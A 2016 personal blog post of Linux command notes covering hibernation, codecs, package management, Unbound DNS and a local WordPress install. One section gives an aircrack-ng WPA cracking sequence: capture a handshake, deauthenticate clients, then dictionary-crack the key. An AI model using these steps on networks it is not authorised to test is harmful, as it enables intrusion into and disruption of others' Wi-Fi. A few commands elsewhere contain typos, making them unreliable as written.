Monday, January 4, 2016

Linux x64 Notes

When login page freezes

  • [ option to enter username/password dont show ] Press Ctrl+Alt+Fn [ 1-10 ]
  • login using username/password
  • startx

Default GUI login with 3D hardware acceleration is TTY 8 [ Ctrl+Alt+F8 ]

Google Cloud Printing- varies from Unix OS to OS

  • sudo add-apt-repository ppa:simon-cadman/niftyrepo
  • sudo apt-get update
  • sudo apt-get install cupscloudprint
  • sudo /usr/share/cloudprint-cups/setupcloudprint.py
  • Follow the instructions about authorizing CUPS Cloud Print to use your Google Account for printing

Go Green – Linux Hibernation/ Resume

You will need a working swap partition for hibernation to work properly. All commands must be entered as root user. [ sudo or su – ]

  • sudo apt-get install acpi acpi-support acpi-support-base acpi-fakekey acpid acpitool pm-utils powermgmt-base hibernate

GNOME –

  • sudo apt-get install gnome-power-manager

XFCE –

  • sudo apt-get install xfce4-power-manager xfce4-power-manager-data xfce4-power- manager-plugins

You will need to note down swap partition UUID

  • cat /etc/fstab
  • Make sure RESUME=UUID=is same as swap partition UUID
  • gksu gedit /etc/initramfs-tools/conf.d/resume

Edit GRUB config file & enter correct swap partition [ GRUB_CMDLINE_LINUX=”resume=/dev/sdax” where x is the swap partition number ]

  • gksu gedit /etc/default/grub
  • sudo update-initramfs -u && update-grub and Reboot

Fix resuming from /dev/sdX” but freezes [ optional ]

  • sudo apt-get remove hibernate uswsusp

Remove EXIF data from pictures within terminal –

  • exiftool -all = *.jpg

Install Sunflower File Manager –

  • sudo add-apt-repository ppa:atareao/sunflower
  • sudo apt-get update
  • sudo apt-get install sunflower

Update the System –

  • sudo apt-get update
  • sudo apt-get dist-upgrade

Yakuake dropdown terminal –

  • sudo apt-get install yakuake

Get old wallpaper –

  • sudo apt-get install mint-backgrounds-*

Install Flash Player –

  • sudo apt-get install flashplugin-installer

Install Restricted Extras –

  • sudo apt-get install ubuntu-restricted-extras

Codecs & Enable DVD Playback –

  • sudo apt-get install gstreamer0.10-plugins-ugly libxine1-ffmpeg gxine mencoder libdvdread4 totem-mozilla icedax tagtool easytag id3tool lame nautilus-script-audio-convert libmad0 mpg321 libavcodec-extra

Enable DVD Playback –

  • sudo /usr/share/doc/libdvdread4/install-css.s­h

Install Dropbox –

  • sudo apt-get install dropbox python-gpgme

(64bit) fix skin issue –

  • sudo apt-get install gtk2-engines-murrine:i386 gtk2-engines-pixbuf:i386 sni-qt:i386

Install rar and other archiving utilities –

  • sudo apt-get install p7zip-rar p7zip-full unace unrar zip unzip sharutils rar uudeview mpack arj cabextract file-roller

Install a clipboard manager –

  • sudo apt-get install clipit

Hardinfo – System information tool –

  • sudo apt-get install hardinfo

Cleanup unwanted apps –

  • sudo apt-get autoremove

To fix Display turning off after x minutes despite it being set to ” never ” –

  • xset -dpms;xset s off
  • [ add above commands to auto run on reboot ]
  • crontab -e
  • @reboot xset -dpms;xset s off

To fix black desktop-

  • Disable Display Compositing – Menu > Settings > Window Manager Tweaks program, Compositor tab

Ubuntu tips / tricks –

To show Start up apps –

  • sudo sed -i ‘s/NoDisplay=true/NoDisplay=false/g’ /etc/xdg/autostart/*.desktop

To see current swappiness value [ swapping rate from memory to hdd ] –

  • cat /proc/sys/vm/swappiness

To decrease swappiness value –

  • sudo gedit /etc/sysctl.conf
  • [ goto bottom of file & type # decrease swappiness value vm.swappinness=10 & reboot pc

To fix default login screen not loading –

  • on pc reboot, keep pressing Esc [ before Ubuntu OS boots ] =there you selectUbuntu Advanced options for Ubuntu= linux firmware UPSTART [Ubuntu, with linux firmware number -generic ( upstart )[ 2nd link from the top ] . Because [ default login screen doesnt load ] you will drop down to terminal shell mode or ssh to pc where default login screen doesnt load.
  • cat /etc/X11/default-display-manager =/usr/sbin/gdm [correct display manager should be/usr/sbin/lightdm] .default-display-managerhas a backup file =default-display-manager.dpkg.tmp. Delete as [sudo] /etc/X11/default-display-manager = sudo rm /etc/X11/default-display-manager
  • as [sudo] = sudo dpkg-reconfigure yourdisplaymanager replace[ yourdisplaymanager ] with lightdm
    & reboot

Fix package dependencies –

  • sudo apt install -f

Lock an app from updating or upgrading –

  • sudo apt hold appname                                                                                                                                                       

Un lock an locked app –

  • sudo apt unhold appname

Start x11vnc on a remote pc via ssh –

  • ssh -t username@remotepcyouwant2runx11vnc ‘x11vnc’

Check if an app is installed –

  • dpkg -s appname

UxTerm tweaks –

  • -bg black -fg green

VNC Clients –

  • Tigervnc

Network Manager –

  • sudo systemctl start NetworkManager.service
  • sudo service network-manager start
  • sudo nmcli networking on

Chipset info –

  • sudo apt-get install pciutils or inxi
  • sudo inxi -n [ for network info ]

Kali Linux –

  • $ is ordinary user & # is root user
  • As root on 1st boot into kali, goto /etc/ssh/ delete ssh_host_*
  • dpkg-reconfigure openssh-server

1) Use LibreElecusb.bin to write kali image to microsd card [ after chmod +x LibreElecusb.bin ]
2) To become Root in kali = sudo su
3) Install tightvncserver
4) On Kali machine execute vncserver :1 & enter password to access vnc remotely
5) On remote machine install xtightvncviewer
6) xtightvncviewer vncserverip:1 to vnc into kali

WPA Cracking –

Install airmon-ng –

  • sudo airmon-ng check kill
  • sudo iw list
  • sudo airmon-ng start
  • sudo iwconfig
  • sudo airodump-ng wlancardname
  • sudo airodump-ng –bssid mac addr of router you want to crack -c 11 wlan0mon –write /tmp/handshake.cap
  • sudo aireplay-ng -0 100 -a mac address wlan0mon
  • sudo aircrack-ng /tmp/handshake.cap-01.cap -w /usr/share/wordlists/rockyou.txt
  • sudo airmon-ng stop wlan0mon

Linux Mint –

Find out what packages are installed by name –

  • dpkg-query -l packagename                                                                                                               

Find out details of an installed app by name & to start stop it –

  • sudo service installed_app status [ start / stop / restart ]

Find out network stats via terminal – 

  • sudo apt-get install vnstat 
  • sudo vnstat -i networkinterface 
  • sudo vnstat -d -i networkinterface [ daily stats ]
  • sudo vnstat -h -i networkinterface [ hourly stats ]
  • sudo vnstat -m -i networkinterface [ monthly stats ]

Find out network traffic from terminal – 

  • sudo apt-get install tcpdump
  • sudo tcpdump -ni networkadapter IP protocol port portnumber [ tcpdump -ni eth0 udp port 53 ]

Unbound DNS Server install – 

  • sudo apt-get update
  • sudo apt-get install unbound
  • cd /etc/unbound/
  • sudo cp unbound.conf unbound.conf.backup
  • sudo gedit unbound.conf
  • enter following into unbound.conf 

          server:

          interface: 0.0.0.0

          access-control: x.x.x.0/24 allow [ x.x.x = IP class range of local LAN  ]
          access-control: 127.0.0.1 allow
          access-control: ::1 allow
          access-control: 0.0.0.0/0 deny
          access-control: ::/0 deny

forward-zone:

          name: “.”

          forward-addr: 9.9.9.9
          forward-addr: 149.112.112.112
          forward-first: yes

  • cd /usr/sbin/
  • sudo /usr/sbin/unbound-checkconf 
  • sudo systemctl enable unbound
  • sudo systemctl start unbound
  • sudo systemctl restart unbound
  • sudo systemctl status unbound
  • ip addr
  • sudo tcpdump -ni eth0 udp port 53
  • dig @ipofpccurrentlyyourworkingon google.com

Start / Stop Network service – 

  • sudo /etc/init.d/networking stop
  • sudo /etc/init.d/networking start

Raspberry pi –

Disable power key

  • sudo nano /etc/systemd/logind.conf
  • HandlePowerKey=ignore
  • sudo systemctl restart systemd-logind

Install WordPress on localhost –

  • sudo apt update
  • sudo apt upgrade
  • sudo apt-get install apache2
  • sudo apt-get install php
  • sudo apt-get install mariadb-server
  • sudo mysql_secure_installation [ switch to unix socket authentication / = n / remove test database & access to it = y / reload privilege table now = y ]
  • sudo apt-get install php-mysql
  • sudo service apache2 restart
  • cd /var/www/html [ as root ]
  • sudo rm* [ as root ]
  • sudo wget http://wordpress.org/latest.tar.gz
  • sudo tar xzf latest.tar.gz
  • sudo chown -R www-data: .
  • sudo mysql -uroot -p
  • create database wordpress; [ name you give here will be the database for that blog = very important ] [ while inside mysql shell ] [ if everything went ok, you will get response as ” Query OK ” ]
  • GRANT ALL PRIVILEGES ON wordpress.* TO ‘root’@’localhost’ IDENTIFIED BY ‘enteryouruniquedatabasepasswdhere’;
  • optional ] – if you screw up the blog as entire blog is stored in a database and you want to delete just the database without uninstalling / reinstalling WordPress again, type DROP DATABASE tutorial_database; [ where tutorial_database is the database name of the corrupted blog ]

No comments:

Post a Comment